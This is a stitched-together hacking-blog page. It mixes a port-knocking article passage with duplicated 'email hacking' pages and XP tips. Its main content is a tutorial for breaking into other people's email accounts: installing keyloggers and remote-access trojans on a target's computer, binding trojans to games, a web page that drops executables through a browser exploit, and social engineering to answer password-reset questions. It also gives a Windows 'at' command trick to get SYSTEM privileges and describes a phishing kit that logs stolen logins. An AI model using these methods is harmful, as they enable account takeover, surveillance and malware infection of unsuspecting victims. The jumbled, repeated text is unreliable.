The first and last three ports let the port knocking dæmon know that a sequence is starting and ending. The next four ports encode the port (abcd) to be opened. For example, if a connection to port 143 is required, the sequence would be 100,101,104,103. The final element in the sequence is a checksum that validates the sequence payload. In this example, the checksum is 8 (1+4+3 mod 10). The sequence element therefore is 108, and the full sequence would be 102,100,103 100,101,104,103 108 103,100,102
When this sequence is detected, port 143 would be made available to the incoming IP address. If the port is open already, the knock would rendered it closed. The knock can be extended to include additional information, such as an anticipated session length, that can be used to close the port after a set amount of time. 3. Mapping with Encryption The information contained in the knock sequence can be encrypted to provide an additional measure of security. In this example, 256 ports are allocated and logged. A knock map of the form remote IP port time checksum
is used where the remote IP, port, time and checksum (sum of other fields mod 255) are encrypted. The encrypted string can be mapped onto eight unsigned chars using Perl's pack("C*",STRING) command, see Listing 1. Listing 1. Mapping the Encrypted String
Implementation
A minimal prototype Perl implementation of port knocking is presented. The implementation is comprised of a knockclient, responsible for originating the knock sequence, and a knockdæmon, responsible for monitoring the firewall log and manipulating the rules.
Knockclient
The complete client is shown in Listing 1. Lincoln Stein's Crypt::CBC module is used as proxy to Crypt::Blowfish to carry out encryption. The unencrypted knock sequence is comprised of seven values: four IP bytes, a port (limited to the range 0-255 in this implementation), a time flag and a checksum (mod 255). The time flag determines how the dæmon reacts: 0 to open the port, 255 to close the port and any other value in the 1-254 range to open the port and then close it after that many minutes. The knock on the firewall (IP=IPF) to open port ssh/22 on IP=IPC and then have the port close after 15 minutes would be executed by calling the client as follows: knockclient -i IPC -r IPF -p 22 -t 15
The client packs the list of seven integers, performs the encryption and unpacks the string into unsigned chars (0-255). These values are then mapped onto a sequence of ports in the 745-1000 range.
Knockdæmon
The knockdæmon is shown in Listing 2. This application uses File::Tail to look for new lines in the firewall log file. Lines corresponding to connection attempts to ports 745-1000 are parsed for the remote IP and port number. An 8-element queue storing the ports is maintained for each incoming IP. When the queue size reaches 8, its contents are decrypted. If the decryption is successful and the checksum is correct, appropriate action is taken and the queue is cleared. If the decryption fails, the oldest queue port element is removed and the dæmon continues monitoring. Listing 2. knockdæmon The firewall rules are manipulated by a system call to the ipchains binary, although the IPChains Perl module by Jonathan Schatz also may be used. If the port is to be closed, as indicated by the time flag, Jose Rodrigues' Schedule::At module is used to schedule the deletion of the rule using the at queue system.
Conclusion
Port knocking is a stealthy authentication system that employs closed ports to carry out identification of trusted users. This novel method provides the means of establishing a connection to an application running on a completely isolated system on which no ports initially are open.

More in Email Hacking

This is a sub Page.. check d site for more ZContents

Almost every one of us has heard a friend complaining that his email account has been hacked. Or it may have happened to you. The truth is that hacking yahoo messenger accounts or any other kind of email provider account has become quite a problem for users.
MSN password hacking or hacking yahoo accounts is no longer the realm of experts.

Thanks to the widespread use of the internet, any hacker can learn the required tricks to master the art of hacking yahoo ids or hotmail email password hacking. He only needs to make a basic search with keywords like hacking yahoo passwords, msn messenger hacking tools, msn hacking programs, hacking yahoo mail, hotmail hacking programs, hacking yahoo email or even something as simple as hotmail hacking guide. All of that is out there, ready to be learnt.

Can Emails Be Hacked?

Yes. As a matter of fact, almost anything can be hacked in the Internet. The problem is that email accounts are the repositories were people store their private information or even their business data. It is a quite serious condition and most of the mail providers have taken some measures for stopping it. Unfortunately, users don't take them seriously and they don't follow the precautions.

There are several methods for hacking yahoo, msn or AOL email accounts. One of these methods is social engineering. Considered a revolutionary art among the hacker community, it has proven to be an interesting tool that can be exploited by anyone.

Social engineering consists in the ability to trick someone in believing that he is giving information to someone who has the authority to ask for it. The most common way to do it is through the telephone or via the internet. Let's say that a user receives a call from someone who identifies himself as a system administrator of his company and that he requires some information that could be considered harmless.

It's quite probable that that bit of information is the final piece that the hacker required for finishing his work. Something as innocent as when was the last time that the system asked the user to change his password could be used by him in his advantage.

A quite ingenious method within social engineering was a webpage were users required to enter their mail and password for finding if someone had deleted or blocked them from their Instant Messenger (IM). Unfortunately, many fell under this scheme. Hacking yahoo messenger or any other messenger is quite easy if you find how to exploit the user's needs.

Alternatives used

Besides social engineering, hackers can obtain your password through other means, like worms, viruses or Trojans. Once a hacker is inside your computer, he will look for those files
were your login names and passwords are stored. That's they reason why it isn't considered
safe to store them inside your computer. Even when the provider tells you that it is safe. Remember than there isn't a more secure place for keeping your password than your mind.

Methods Used In The Past !

In the past, one of the common practices used by hacker was using programs that tried different password combinations until it found the correct one. This method was contra rested by email providers by giving a limited number of options or by placing some security measures inside their webpage.

Other method was placing false web pages instead of the original ones. A hacker could make a user think that he is accessing his email at the webpage of his email provider. In reality, he was entering all his information to a webpage created by the hacker. This scheme isn't used any more since users have become a bit more careful and have acquired some concepts on internet security. They have started using secure pages for login which starts

What Are Keyloggers?

Keyloggers are specially devised programs that are installed inside a computer via a Trojan, a virus or a worm. Once inside, the keylogger will auto execute and start recording all the key strokes made by the computer user. Once a determined period of time has gone by, the keylogger will send the keystroke information to the hacker who sent this infectious software.

Then the hacker will start searching key combinations that can lead him to determine the password for determined web pages. This simple and effective method is a favorite among hackers since it can provide them with lots of private information from their victims.

Many computer users have more than one email account, especially if they use the messenger services from multiple providers, like Microsoft's Hotmail, Yahoo's Email or AOL email. It doesn't matter if you have one or many email accounts, every one of them may be a victim of a hacker. Even with the security measures imposed by the companies, Yahoo password hacking or hotmail hacking still exist. And it's very improbable that will disappear.

So, if you want to protect yourself from people who are hacking yahoo accounts or whose whole purpose in life is to do some MSN hacking, then increase the number of special characters in your password and try not to access your email account from a computer that is not yours. And that goes to IM's too. The ability for hacking yahoo messenger or any other IM provider it's a latent danger for all of us.

LOCALLY STORED PASSWORDS

Most browsers, including Internet Explorer® and Netscape®, the AOL® client, and Windows® Dial-Up Connections allow you the option to store passwords. These passwords are stored on the local machine and (depending upon where and how it is stored) there is usually a method of recovering these passwords. Storing any password locally is insecure and may allow the password to be recovered by anyone who has access to the local machine. While we are not currently aware of any program to recover locally stored AOL® passwords, we do not recommend that these are secure. Software does exist that can recover most of the other types of locally stored passwords.

TROJAN

A Trojan is a program that is sent to a user that allows an attacker to control functions of the target computer, recover information from the target or to delete or damage files on the target. The name Trojan is given because the program will usually come attached to some other program or file that entices you to run it. There are a wide variety of Trojans any number of which can be programmed to capture passwords as they are typed and to email or transmit them to a third party. To protect yourself against Trojans, you should never execute or download software or files that are not from a trusted source. It is critical that anyone working on internet use a virus protection program (which should catch most Trojans.) Note that since a Trojan requires the password to be typed or stored in order to be recovered, this is not an effective way to recover your own password. It could explain, however, how someone could lose their password to a hacker. Sending someone a Trojan program is certainly illegal and we do not recommend or condone this activity. A Trojan is unlikely to be effective in recovering a particular account password since it requires the target to install it. However, hackers will often bulk mail Trojans to thousands of people in the hope that a small percentage will get caught. Legitimate account holders who may have been caught by a Trojan and can authenticate themselves should contact their service provider to have their account passwords res

SNIFFING
If two people do not share the same computer, but do share the same network, it may be possible for one to sniff the others' packets as they sign-on. The traffic between your computer and the internet site you are accessing may be able to be recorded and decrypted or "played-back." This is not a simple attack to execute, but is possible if two people are close to one another and share a hub. Again, this is likely to be illegal and we do not condone this activity.

How to Break Into Email Accounts

Introduction

I have written this tutorial to address a question that is all too commonly asked in any channel/chat room with "hack" in the title (asked in frequency to the point of harrassment really). So since this is a question that so many people ask, then I believe that there should at least be an answer available (regardless of the morality or "lameness" of such a question). So you as the reader are most likely reading this because you want to break into somebody's email account.

Well, you must understand that there is no 1-2-3 process to anything. I will give you options to consider when persuing such a task, but it will ultimately be up to you to do this. This is what you want to do, and no matter what sort of offers you throw up at anybody, nobody is going to do this for you. There is no program that is going to do all this for you. Also don't forget that nobody is going to hold your hand and lead you through this. I'm offering you as the reader suggestions for ways you can address this task, and that is about all the help you are going to get from anybody. So now that I've made all that clear, let's begin...

Things You Should Know

As I mentioned in the previous section, there is no program that will do all this for you. Almost all the crackers you see out there will not work, because services like Hotmail, Yahoo!, etc. have it set so that it will lock you from that account after a certain number of login attempts. There are some rare exceptions, like some crackers for Yahoo! that are made for cracking "illegal" accounts, but the thing you must understand about those types of crackers is that they are built to crack SPECIFICALLY "illegal" names. They can not be used to target a specific account on Yahoo!, so don't try to use them for this purpose. Another thing you must know if you ask this question in any "hacker" chat room/channel (which I highly discourage), or if you read something on this topic, and you hear that you have to email some address and in any way have to give up your password in the process, do NOT believe this. This is a con used to trick gullible people into handing over their passwords. So don't fall for this. Well that concludes this section, now lets get to what you want to know.

If You Have Physical Access

I will start off with options you have if you have physical access to the computer of the user that you are targeting, because it is a lot easier if you do. One option you have, that you will hear a lot if you ask this question, and anybody bothers to answer is to use a keylogger. A keylogger is an excellent option, and probably the easiest. There are a lot of keyloggers out there, ranging from hardware keyloggers, to software keyloggers. For this task, you won't need to buy a hardware keylogger, since the only advantage to a hardware one is that you can grab passwords that are given to access a certain local user on the operating system used. There are a lot of software keyloggers out there, and you can feel free to check out www.google.com to look at your options. I will go ahead and toss a couple of keyloggers out to try for those of you who seem allergic to search engines.

One option you have that is good for a free keylogger is Perfect Keylogger (which you can find at www.blazingtools.com/bpk.html). It works just fine, and has some nice options to keep it hidden from your average end user (computer user).

Another option you have, which is probably the best one you can get is Ghost Keylogger. It has a lot of options that will allow you to get the results of this program remotely (it will email you the results). However, this is not a free keylogger, so if you are wanting to get a copy you can look on the file sharing networks for a copy of the program, and the serial number for it (look on www.zeropaid.com for different file sharing clients you can try).

Once you have whatever keylogger you are going to use downloaded, just install it onto the computer you are wanting to monitor, and wait till next time they login to their email account. You will then have the password for the account. Another option you have if they use Outlook to access their email account, is to copy the *.dbx files for their Outlook account onto a floppy, and extract the emails at home (the dbx file stores the files stored in each Outlook folder on a given account, meaning the received and sent emails). When you are on the computer of the user you are targeting, look in

C:\Windows\ApplicationData\Identities\{ACblahblahblah}\Microsoft\ OutlookExpress\ and copy all the .dbx files onto a floppy. Then when you take the .dbx files back to your house, use DBXtract to extract the messages from these files. Check out the link below to download this program....

www.download-freeware-shareware.com/Freeware-Internet.php?Type=4171

Another option you have if you have physical access is to execute a RAT (Remote Administration Tool, you may know these programs as trojans) server on the computer. Of course, you do not have to have physical access to go this route, but it helps. What you must understand is that these tools are known threats, and the popular ones are quickly detected by antivirus software, and thusly taken care of. Even ISPs block incoming/outgoing traffic from the most popular ports used by these programs.

One newcomer in the RAT market that you should know about is Project Leviathan. This program uses already existing services to host it's service, instead of opening up an entirely new port. This allows it to hide itself from any port detection tool/software firewall that may be in place. This of course will not guarantee that it's server program will not be detected by any antivirus software used (actually, if the user has kept up with his/her signature tables, then it WILL be detected), but it will give you more of a chance of holding access. Search the engines to download Project Leviathan...

Once you have downloaded this tool, follow the instructions listed to install and use this program. However, since this RAT is a command line tool, you will still need another program set up on the user's computer in order to catch the desired password. For this, you can use Password Logger.. Google it

Once you have this downloaded, set it up on the targeted computer. The program will remain hidden, while logging any types of passwords into a .lst file in the same directory that you executed it on. Therefore, you can access this *.lst file through Project Leviathan remotely in order to retrieve the user's email password remotely. Well that pretty much concludes it for this section. At this very moment I can practically hear a lot of you thinking to yourselves "But, but I don't HAVE physical access!". No reason to worry, that's what the next section is for...

If You Don't Have Physical Access

Well of course most of you out there will say that you don't have physical access to your target's computer. That's fine, there still are ways you can gain access into the desired email account without having to have any sort of physical access. For this we are going to go back onto the RAT topic, to explain methods that can be used to fool the user into running the server portion of the RAT (again, a RAT is a trojan) of your choice. Well first we will discuss the basic "send file" technique. This is simply convincing the user of the account you want to access to execute the server portion of your RAT.

To make this convincing, what you will want to do is bind the server.exe to another *.exe file in order to not raise any doubt when the program appears to do nothing when it is executed. For this you can use the tool like any exe file to bind it into another program (make it something like a small game)...

On a side note, make sure the RAT of your choice is a good choice. The program mentioned in the previous section would not be good in this case, since you do need physical access in order to set it up. You will have to find the program of your choice yourself (meaning please don't ask around for any, people consider that annoying behavior).

If you don't like any of those, I'm afraid you are going to have to go to www.google.com, and look for some yourself. Search for something like "optix pro download", or any specific trojan. If you look long enough, among all the virus notification/help pages, you should come across a site with a list of RATs for you to use (you are going to eventually have to learn how to navigate a search engine, you can't depend on handouts forever). Now back to the topic at hand, you will want to send this file to the specified user through an instant messaging service.

The reason why is that you need the ip address of the user in order to connect with the newly established server. Yahoo! Messenger, AOL Instant Messenger, it really doesn't matter. What you will do is send the file to the user. Now while this transfer is going on you will go to Start, then Run, type in "command", and press Enter. Once the msdos prompt is open, type in "netstat -n", and again, press enter. You will see a list of ip addresses from left to right. The address you will be looking for will be on the right, and the port it's established on will depend on the instant messaging service you are using. With MSN Messenger it will be remote port 6891, with AOL Instant Messenger it will be remote port 2153, with ICQ it will be remote port 1102, 2431, 2439, 2440, or 2476, and with Yahoo! Messenger it will be remote port 1614.

So once you spot the established connection with the file transfer remote port, then you will take note of the ip address associated with that port. So once the transfer is complete, and the user has executed the server portion of the RAT, then you can use the client portion to sniff out his/her password the next time he/she logs on to his/her account.

Don't think you can get him/her to accept a file from you? Can you at least get him/her to access a certain web page? Then maybe this next technique is something you should look into.

Currently Internet Explorer is quite vulnerable to an exploit that allows you to drop and execute .exe files via malicious scripting within an html document. For this what you will want to do is set up a web page, make sure to actually put something within this page so that the visitor doesn't get too entirely suspicious, and then imbed the below script into your web page so that the server portion of the RAT of your choice is dropped and executed onto the victim's computer...

While you are at it, you will also want to set up an ip logger on the web page so that you can grab the ip address of the user so that you can connect to the newly established server. Here is the source for a php ip logger you can use on your page...

http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=539&lngWId=8

Just insert this source into your page along with the exedrop script, and you are set. Just convince the user to go to this page, and wait till the next time they type in their email password. However, what do you do if you can not contact this user in any way to do any of the above tricks. Well, then you definately have your work cut out for you. It doesn't make the task impossible, but it makes it pretty damn close to it. For this we will want to try info cracking. Info cracking is the process of trying to gather enough information on the user to go through the "Forgot my Password" page, to gain access into the email account.

If you happen to know the user personally, then it helps out a lot. You would then be able to get through the birthday/ zipcode questions with ease, and with a little mental backtracking, or social engineering (talking) out the information from the user be able to get past the secret question. However, what do you do if you do not have this luxury? Well in this case you will have to do a little detective work to fish out the information you need.

First off, if a profile is available for the user, look at the profile to see if you can get any information from the profile. Many times users will put information into their profile, that may help you with cracking the account through the "Forgot my Password" page (where they live, their age, their birthday if you are lucky). If no information is provided then what you will want to do is get on an account that the user does not know about, and try to strike conversation with the user. Just talk to him/her for a little while, and inconspicuously get this information out of the user (inconspicuously as in don't act like you are trying to put together a census, just make casual talk with the user and every once in a while ask questions like "When is your birthday?" and "Where do you live?", and then respond with simple, casual answers).

Once you have enough information to get past the first page, fill those parts out, and go to the next page to find out what the secret question is. Once you have the secret question, you will want to keep making casual conversation with the user and SLOWLY build up to asking a question that would help you answer the secret question. Don't try to get all the information you need in one night or you will look suspicious. Patience is a virtue when info cracking. Just slowly build up to this question. For example, if the secret question is something like "What is my dog's name?", then you would keep talking with the user, and eventually ask him/her "So how many dogs do you have? ...Oh, that's nice. What are their names?". The user will most likely not even remember anything about his/her secret question, so will most likely not find such a question suspicious at all (as long as you keep it inconspicuous). So there you go, with a few choice words and a little given time, you have just gotten the user to tell you everything you need to know to break into his/her email account. The problem with this method is that once you go through the "Forgot my Password" page, the password will be changed, and the new password will be given to you. This will of course deny the original user access to his/her own account. But the point of this task is to get YOU access, so it really shouldn't matter. Anyways, that concludes it for this tutorial. Good luck...

cracking password

More in Email Hacking
This is a sub Page.. check d site for more ZContents

Almost every one of us has heard a friend complaining that his email account has been hacked. Or it may have happened to you. The truth is that hacking yahoo messenger accounts or any other kind of email provider account has become quite a problem for users.
MSN password hacking or hacking yahoo accounts is no longer the realm of experts.

Thanks to the widespread use of the internet, any hacker can learn the required tricks to master the art of hacking yahoo ids or hotmail email password hacking. He only needs to make a basic search with keywords like hacking yahoo passwords, msn messenger hacking tools, msn hacking programs, hacking yahoo mail, hotmail hacking programs, hacking yahoo email or even something as simple as hotmail hacking guide. All of that is out there, ready to be learnt.

Can Emails Be Hacked?

Yes. As a matter of fact, almost anything can be hacked in the Internet. The problem is that email accounts are the repositories were people store their private information or even their business data. It is a quite serious condition and most of the mail providers have taken some measures for stopping it. Unfortunately, users don't take them seriously and they don't follow the precautions.

There are several methods for hacking yahoo, msn or AOL email accounts. One of these methods is social engineering. Considered a revolutionary art among the hacker community, it has proven to be an interesting tool that can be exploited by anyone.

Social engineering consists in the ability to trick someone in believing that he is giving information to someone who has the authority to ask for it. The most common way to do it is through the telephone or via the internet. Let's say that a user receives a call from someone who identifies himself as a system administrator of his company and that he requires some information that could be considered harmless.

It's quite probable that that bit of information is the final piece that the hacker required for finishing his work. Something as innocent as when was the last time that the system asked the user to change his password could be used by him in his advantage.

A quite ingenious method within social engineering was a webpage were users required to enter their mail and password for finding if someone had deleted or blocked them from their Instant Messenger (IM). Unfortunately, many fell under this scheme. Hacking yahoo messenger or any other messenger is quite easy if you find how to exploit the user's needs.

Alternatives used

Besides social engineering, hackers can obtain your password through other means, like worms, viruses or Trojans. Once a hacker is inside your computer, he will look for those files
were your login names and passwords are stored. That's they reason why it isn't considered
safe to store them inside your computer. Even when the provider tells you that it is safe. Remember than there isn't a more secure place for keeping your password than your mind.

Methods Used In The Past !

In the past, one of the common practices used by hacker was using programs that tried different password combinations until it found the correct one. This method was contra rested by email providers by giving a limited number of options or by placing some security measures inside their webpage.

Other method was placing false web pages instead of the original ones. A hacker could make a user think that he is accessing his email at the webpage of his email provider. In reality, he was entering all his information to a webpage created by the hacker. This scheme isn't used any more since users have become a bit more careful and have acquired some concepts on internet security. They have started using secure pages for login which starts

What Are Keyloggers?

Keyloggers are specially devised programs that are installed inside a computer via a Trojan, a virus or a worm. Once inside, the keylogger will auto execute and start recording all the key strokes made by the computer user. Once a determined period of time has gone by, the keylogger will send the keystroke information to the hacker who sent this infectious software.

Then the hacker will start searching key combinations that can lead him to determine the password for determined web pages. This simple and effective method is a favorite among hackers since it can provide them with lots of private information from their victims.

Many computer users have more than one email account, especially if they use the messenger services from multiple providers, like Microsoft's Hotmail, Yahoo's Email or AOL email. It doesn't matter if you have one or many email accounts, every one of them may be a victim of a hacker. Even with the security measures imposed by the companies, Yahoo password hacking or hotmail hacking still exist. And it's very improbable that will disappear.

So, if you want to protect yourself from people who are hacking yahoo accounts or whose whole purpose in life is to do some MSN hacking, then increase the number of special characters in your password and try not to access your email account from a computer that is not yours. And that goes to IM's too. The ability for hacking yahoo messenger or any other IM provider it's a latent danger for all of us.

LOCALLY STORED PASSWORDS

Most browsers, including Internet Explorer® and Netscape®, the AOL® client, and Windows® Dial-Up Connections allow you the option to store passwords. These passwords are stored on the local machine and (depending upon where and how it is stored) there is usually a method of recovering these passwords. Storing any password locally is insecure and may allow the password to be recovered by anyone who has access to the local machine. While we are not currently aware of any program to recover locally stored AOL® passwords, we do not recommend that these are secure. Software does exist that can recover most of the other types of locally stored passwords.

TROJAN

A Trojan is a program that is sent to a user that allows an attacker to control functions of the target computer, recover information from the target or to delete or damage files on the target. The name Trojan is given because the program will usually come attached to some other program or file that entices you to run it. There are a wide variety of Trojans any number of which can be programmed to capture passwords as they are typed and to email or transmit them to a third party. To protect yourself against Trojans, you should never execute or download software or files that are not from a trusted source. It is critical that anyone working on internet use a virus protection program (which should catch most Trojans.) Note that since a Trojan requires the password to be typed or stored in order to be recovered, this is not an effective way to recover your own password. It could explain, however, how someone could lose their password to a hacker. Sending someone a Trojan program is certainly illegal and we do not recommend or condone this activity. A Trojan is unlikely to be effective in recovering a particular account password since it requires the target to install it. However, hackers will often bulk mail Trojans to thousands of people in the hope that a small percentage will get caught. Legitimate account holders who may have been caught by a Trojan and can authenticate themselves should contact their service provider to have their account passwords res

SNIFFING
If two people do not share the same computer, but do share the same network, it may be possible for one to sniff the others' packets as they sign-on. The traffic between your computer and the internet site you are accessing may be able to be recorded and decrypted or "played-back." This is not a simple attack to execute, but is possible if two people are close to one another and share a hub. Again, this is likely to be illegal and we do not condone this activity.

computer hacking

really that is possible !

u know why is it a "user" account because it lacks come service layer than that in "administrator" account

Using simple command line tools on a machine running Windows XP we will obtain system level privileges, and run the entire explorer process (Desktop), and all processes that run from it have system privileges. The system run level is higher than administrator, and has full control of the operating system and it’s kernel. On many machines this can be exploited even with the guest account. At the time I’m publishing this, I have been unable to find any other mention of people running an entire desktop as system, although I have seen some articles regarding the SYSTEM command prompt.

Local privilege escalation is useful on any system that a hacker may compromise; the system account allows for several other things that aren’t normally possible (like resetting the administrator password).

The Local System account is used by the Windows OS to control various aspects of the system (kernel, services, etc); the account shows up as SYSTEM in the Task Manager

Local System differs from an Administrator account in that it has full control of the operating system, similar to root on a *nix machine. Most System processes are required by the operating system, and cannot be closed, even by an Administrator account; attempting to close them will result in a error message. The following quote from Wikipedia explains this in a easy to understand way:

You can trick the system into running a program, script, or batch file with system level privileges.

One sample

One trick is to use a vulnerability in Windows long filename support.
Try placing an executable named Program.*, in the root directory of the "Windows" drive. Then reboot. The system may run the Program.*, with system level privileges. So long as one of the applications in the "Program Files" directory is a startup app. The call to "Program Files", will be intercepted by Program.*.

Microsoft eventually caught on to that trick. Now days, more and more, of the startup applications are being coded to use limited privileges.

Quote:
In Windows NT and later systems derived from it (Windows 2000, Windows XP, Windows Server 2003 and Windows Vista), there may or may not be a superuser. By default, there is a superuser named Administrator, although it is not an exact analogue of the Unix root superuser account. Administrator does not have all the privileges of root because some superuser privileges are assigned to the Local System account in Windows NT.

Under normal circumstances, a user cannot run code as System, only the operating system itself has this ability, but by using the command line, we will trick Windows into running our desktop as System, along with all applications that are started from within.
Getting SYSTEM
I will now walk you through the process of obtaining SYSTEM privileges.
To start, lets open up a command prompt (Start > Run > cmd > [ENTER]).
At the prompt, enter the following command, then press [ENTER]:
Code:
at

If it responds with an “access denied” error, then we are out of luck, and you’ll have to try another method of privilege escalation; if it responds with “There are no entries in the list” (or sometimes with multiple entries already in the list) then we are good. Access to the at command varies, on some installations of Windows, even the Guest account can access it, on others it’s limited to Administrator accounts. If you can use the at command, enter the following commands, then press [ENTER]:

Code:
at 15:25 /interactive “cmd.exe”

Lets break down the preceding code. The “at” told the machine to run the at command, everything after that are the operators for the command, the important thing here, is to change the time (24 hour format) to one minute after the time currently set on your computers clock, for example: If your computer’s clock says it’s 4:30pm, convert this to 24 hour format (16:30) then use 16:31 as the time in the command. If you issue the at command again with no operators, then you should see something similar to this:

When the system clock reaches the time you set, then a new command prompt will magically run. The difference is that this one is running with system privileges (because it was started by the task scheduler service, which runs under the Local System account). It should look like this:

You’ll notice that the title bar has changed from cmd.exe to svchost.exe (which is short for Service Host). Now that we have our system command prompt, you may close the old one. Run Task Manager by either pressing CTRL+ALT+DELETE or typing taskmgr at the command prompt. In task manager, go to the processes tab, and kill explorer.exe; your desktop and all open folders should disappear, but the system command prompt should still be there.
At the system command prompt, enter in the following:

Code:
explorer.exe

A desktop will come back up, but what this? It isn’t your desktop. Go to the start menu and look at the user name, it should say “SYSTEM”. Also open up task manager again, and you’ll notice that explorer.exe is now running as SYSTEM. The easiest way to get back into your own desktop, is to log out and then log back in. The following 2 screenshots show my results (click to zoom):

System user name on start menu

explorer.exe running under SYSTEM

What to do now
Now that we have SYSTEM access, everything that we run from our explorer process will have it too, browsers, games, etc. You also have the ability to reset the administrators password, and kill other processes owned by SYSTEM. You can do anything on the machine, the equivalent of root; You are now God of the Windows machine. I’ll leave the rest up to your imagination.

ADMINISTRATOR IN WELCOME SCREEN.

When you install Windows XP an Administrator Account is created (you are asked to supply an administrator password), but the "Welcome Screen" does not give you the option to log on as Administrator unless you boot up in Safe Mode.
First you must ensure that the Administrator Account is enabled:
1 open Control Panel
2 open Administrative Tools
3 open Local Security Policy
4 expand Local Policies
5 click on Security Options
6 ensure that Accounts: Administrator account status is enabled Then follow the instructions from the "Win2000 Logon Screen Tweak" ie.
1 open Control Panel
2 open User Accounts
3 click Change the way users log on or log off
4 untick Use the Welcome Screen
5 click Apply Options
You will now be able to log on to Windows XP as Administrator in Normal Mode.

EASY WAY TO ADD THE ADMINISTRATOR USER TO THE WELCOME SCREEN.!!

Start the Registry Editor Go to:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList \
Right-click an empty space in the right pane and select New > DWORD Value Name the new value Administrator. Double-click this new value, and enter 1 as it's Value data. Close the registry editor and restart.

hotmail hack crub

Hotmail Hack Curb

We all use Hotmail.. well its one of my Favorites..

**Here m gonna reveal n Alert About how the Unethical Hackers Can cheat us .

This Page is meant for Educational Purpose only.
I do not Endorse Hacking at all
but its Meant for knowing the Threats n Protect urself also Curbing them**

Here we present:

1:- How hotmail can be hacked with fake login screen (2 different ways)
2:- Fake e-mails threats
3:- Detect a fake message into hotmail
4:- How to get persons ip addrress through msn messenger
5:- curbing the way hackers get the paswords
6:- Easiest Way
7:- Change msn messenger title
8:- Protect yourself from Virus
9:- HoaX Toolbox v1.1

1) Protect urself from Pishing

Usually The Unethical Hackers Upload their hotmail`s fake login screen on a webserver and then send these codes
tothe victim from yahoo or another mail sending program.The codes are

and the user will be automatically redirected to your fake hotmail screen from their e-mail
box & you r Hkd.

Beware of There Threats

2) Beware of Fake Login Screens

They Start chatting with ur victim and send him the fake login screen through Their messenger and try to pish you.

there are many many of them available on the net.. which are usually small Visual Basic progs.. never reveal ur password anywhere other than the latest Versions of msn Messengers.

2:- Fake e-mails threats

This is very easy go to http://www.boxfrog.com/ register( its blocked now) but there are many others .. google u ll find many
click on create message and in from filed type in any ones e-mail address and the message will
be sent.

theres also a simple way of doing this by Telnetting from the dos Prompt..

Beware of this Threat .. make ur spam protection Powerfull

3) Detect a fake message into Hotmail inbox.

This is Simple Buddies.. open your e-mail box go to options select display setting or
message display setting or(some thing like this) now select full where it says message display

settings or something like this.Open the mail which u thought to be fake now in the last
where it says from u can see the address of that site from where the mail is sent but if
some one has sent it through some sort of prog it will tell u his ip.

n once you know D ip m sure u know how to go bt it there after

IMP: Read the ip adress log from Backwords..

4)- Protect urself revealing your ip addrress through msn messenger.

When you Open ur messenger start chatting with friend open ms dos and type netstat -n there
donot press enter and then minimize it after this send something to ur victim and as soon as he accept it the hotmail messenger will say connecting this is the time when u re maximize ur msdos and

press enter the ip address next to time_wait: will the friends ip.U may be Hacked The same way

Beware!!

HoaX Toolbox v1.1

This is a PHP script that creates a website with an admin area that allows the user to choose between fake login pages of MSN Messenger, Hotmail, Yahoo and Google Mail, once you set up the script on a server that has PHP and SQL you will be able to log in the administration page and choose the fake login page to display to the main site, when the victim tries to log-in their mail/messenger, the website keeps the user/pass information in a log file that you can view anytime from the admin area, if the victim is not stupid enough to add their real log-in because they read the URL of your server instead of reading hotmail.com or yahoo.com in the URL bar then remember you can pop-up the main page of the site and disable the URL bar on the explorer, so when the user clicks on your real site the link "Yahoo Mail" an explorer without URL bar pops up, if you dont know how to pop up customized browsers search google

Key logging

Xp problems and their solutions

There is One for Everyone !!

1) When i try to access my task manager(Ctr+Alt+Del)...it displays message
'task manger has been disabled by ur administrator'..., and also i cant access my registry too..!!
what may have caused this problem....
is it becos of some VIRUS...????
how can i repair this without re installing...?? any particular software??

1: Close the IE browser. Log out messenger / Remove Internet Cable.
2: To enable Regedit
Click Start, Run and type this command exactly as given below: (better - Copy and paste)
REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 0 /f
3: To enable task manager : (To kill the process we need to enable task manager)
Click Start, Run and type this command exactly as given below: (better - Copy and paste)
REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f
4: Now we need to change the default page of IE though regedit.
Start>Run>Regedit
From the below locations in Regedit chage your default home page to google.com or other.
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main
HKEY_ LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main
HKEY_USERS\Default\Software\Microsoft\Internet Explorer\Main
Just replace the attacker site with google.com or set it to blank page.
5: Now we need to kill the process from back end. Press Ctrl + Alt + Del
Kill the process svhost32.exe . ( may be more than one process is running.. check properly)
6: Delete svhost32.exe , svhost.exe files from Windows/ & temp/ directories. Or just search for svhost in your comp.. delete those files.
7: Go to regedit search for svhost and delete all the results you get.
Start menu > Run > Regedit >
8: Restart the computer. That’s it now you are virus free.

it works !!

** Shared from Internet (reva)

2)I don't have IIS( Internet Information Services) windows componet on my system

As far as I know one can't have IIS running on XP Home. I think u will have to upgrade it to XP Prof.
in proff That's simple get the Win XP CD, go to control panel-->add/remove programs and then to add/remove windows components. There u will find the option for adding IIS, just check the checkbox and follow the instructions. You r done!!

3) Folder Option Vanished

IF U WANT UR FILES THT WERE HIDDEN U CAN TYPE *.* IN SEARCH AND ALSO TICK THE OPTION "INCLUDE HIDDEN FILES".
NOW SEARCH IN THE DRIVE IN WHICH U STORED UR FILES, U WILL GET UR FILES BUT TO GET BACK THE OPTION U EITHER HAVE TO REINSTALL WINDOWS OR REPAIR IT. well this is as far as i know..

Post your Comment If you Know More

4) My volume icon is not showing in taskbar, Yet It's Enable From Control Panel > Sound And devices

Assuming that you have tried the basic steps i am directly trying with the most possible solutions. This issue most commmonly occurs because the settings are not saved. Also there might be some startup program which is diabling the Systray.exe from loading up.

Try this...
1) Re-enable the volume icon by disabling and then enabling Place volume icon in the taskbar in the Sound and Audio applet.
2) Then copy the following text which is in red into a notepad file and then save it as "fix.reg". Please make sure that there is no .txt extension after that.
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoSaveSettings"=dword:00000000
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
"SystemTray"="SysTray.Exe"

3) Merge the file to the registry by simply double clicking on it.
4) Reboot

This should definitely work. Please reply back with the status.

Cheers

:shared frm internet (bond)

